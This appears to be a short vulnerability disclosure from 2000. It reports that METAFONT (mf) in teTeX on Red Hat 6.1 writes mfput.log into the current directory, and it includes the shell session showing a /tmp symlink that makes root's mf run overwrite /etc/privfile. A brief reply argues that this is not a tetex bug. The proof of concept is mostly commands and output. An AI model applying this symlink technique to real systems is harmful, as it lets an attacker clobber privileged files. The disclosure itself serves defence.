I typoed a mv tonight with mf (a command I've never used before), and when I exited mf (with a cntl-c), I noticed a file called mfput.log in my current directory. Curious, I created /etc/privfile as root, then created a symling in /tmp. When I went into /tmp as root, and typed 'mf blah blah', then exited, /etc/privfile had been overwritten. This could probably be used to overwrite any arbitrary file. [root@operative /tmp]# cat /etc/redhat-release Red Hat Linux [root@operative /tmp]# rpm -qf /usr/bin/mf tetex-1.0.6-7 release 6.1 (Cartman) [root@operative /]# touch /etc/privfile [root@operative /]# cat /etc/privfile [root@operative /]# [dpr@operative /tmp]$ ln -s /etc/privfile mfput.log [dpr@operative /tmp]$ ls -al /tmp/mfput.log lrwxrwxrwx 1 dpr dpr 13 Mar 4 01:45 /tmp/mfput.log -> /etc/privfile [root@operative /]# cd /tmp [root@operative /tmp]# mf blah blah This is METAFONT, Version 2.7182 (Web2C 7.3.1) kpathsea: Running mktexmf blah ! I can't find file `blah'. <*> blah blah Please type another input file name: {I hit cntrl-c, here} ! Emergency stop. <*> blah blah Transcript written on mfput.log. [root@operative /tmp]# [root@operative /tmp]# cat /etc/privfile This is METAFONT, Version 2.7182 (Web2C 7.3.1) (base=mf 1999.9.25) 4 MAR 2000 01:47 **blah blah ! Emergency stop. <*> blah blah End of file on the terminal!
This is not a bug in tetex, as there are a whole class of programs that will exhibit the behavior you describe.